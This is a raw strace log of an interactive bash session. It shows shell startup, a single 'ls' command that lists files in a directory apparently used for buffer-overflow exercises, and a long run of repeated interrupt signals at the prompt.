    [400c1cd3] fstat(3, {st_mode=S_IFREG|0644, st_size=1536, ...}) = 0
    [400cbafd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
    [400c2ad4] read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1536
    [400c2a8d] close(3)                     = 0
    [400cbb41] munmap(0x40015000, 4096)     = 0
    [400c16cd] stat("/home/gate/.inputrc", 0xbffff4b8) = -1 ENOENT (No such file or directory)
    [400c8a6c] brk(0x80a1000)               = 0x80a1000
    [400c8a6c] brk(0x80a2000)               = 0x80a2000
    [400c8a6c] brk(0x80a3000)               = 0x80a3000
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c1cd3] fstat(2, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
    [400cbafd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
    [400c8b54] ioctl(2, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, "l", 1)              = 1
    [400c2b14] write(2, "l", 1l)             = 1
    [400c2ad4] read(0, "s", 1)              = 1
    [400c2b14] write(2, "s", 1s)             = 1
    [400c2ad4] read(0, "\r", 1)             = 1
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400c8a6c] brk(0x80a4000)               = 0x80a4000
    [400c16cd] stat(".", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
    [400c16cd] stat("/usr/local/bin/ls", 0xbffffaf0) = -1 ENOENT (No such file or directory)
    [400c16cd] stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=43024, ...}) = 0
    [400ae3e7] getgroups(32, [500])         = 1
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT CHLD], [], 8) = 0
    [400adc97] fork()                       = 990
    [400ae5d1] setpgid(990, 990)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [CHLD], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [990]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [400ad8e9] wait4(-1, addr  addr.c  cc  core    dump.h    egg  egg.c  gremlin  gremlin.c    test
    [WIFEXITED(s) && WEXITSTATUS(s) == 0], WUNTRACED, NULL) = 990
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [CHLD], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
    [400c8b54] ioctl(255, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [CHLD], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [CHLD], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGCHLD (Child exited) ---
    [400ad8e9] wait4(-1, 0xbffffaac, WNOHANG|WUNTRACED, NULL) = -1 ECHILD (No child processes)
    [4003ac70] sigreturn()                  = ? (mask now [])
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321772
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321772
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321772
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321773
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321773
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321773
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321773
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321773
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321773
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321774
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321774
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGINT (Interrupt) ---
    [400c8b54] ioctl(2, TCXONC, TCOON)      = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [INT], 8) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x804b8c0, [], 0x4000000}, {0x807d4d0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {SIG_DFL}, {0x807d490, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, NULL, [INT], 8) = 0
    [400ae257] getpid()                     = 989
    [4003ad41] kill(989, SIGINT)            = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] --- SIGINT (Interrupt) ---
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [INT], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [INT], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [400c2b14] write(2, "\n", 1
    )            = 1
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321774
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [400a4f7d] time(NULL)                   = 1405321774
    [400ae2e7] geteuid()                    = 500
    [400ae2e7] geteuid()                    = 500
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TTOU], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [], 8) = 0
    [400c8b54] ioctl(255, TIOCSPGRP, [989]) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x804bc20, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003acb5] rt_sigprocmask(SIG_BLOCK, [INT], [], 8) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig icanon echo ...}) = 0
    [400c8b54] ioctl(0, SNDCTL_TMR_START, {B9600 opost isig -icanon -echo ...}) = 0
    [400c8b54] ioctl(0, TCGETS, {B9600 opost isig -icanon -echo ...}) = 0
    [4003acb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    [4003aae2] rt_sigaction(SIGINT, {0x807d4d0, [], 0x4000000}, {0x804bc20, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGALRM, {0x807d4d0, [], 0x4000000}, {0x804b8c0, [], 0x4000000}, 8) = 0
    [4003aae2] rt_sigaction(SIGWINCH, {0x807d490, [], 0x4000000}, {SIG_DFL}, 8) = 0
    [400c2b14] write(2, "bash$ ", 6bash$ )        = 6
    [400c2ad4] read(0, 0xbffff55b, 1)       = ? ERESTARTSYS (To be restarted)
    [400c2ad4] --- SIGTSTP (Stopped) ---
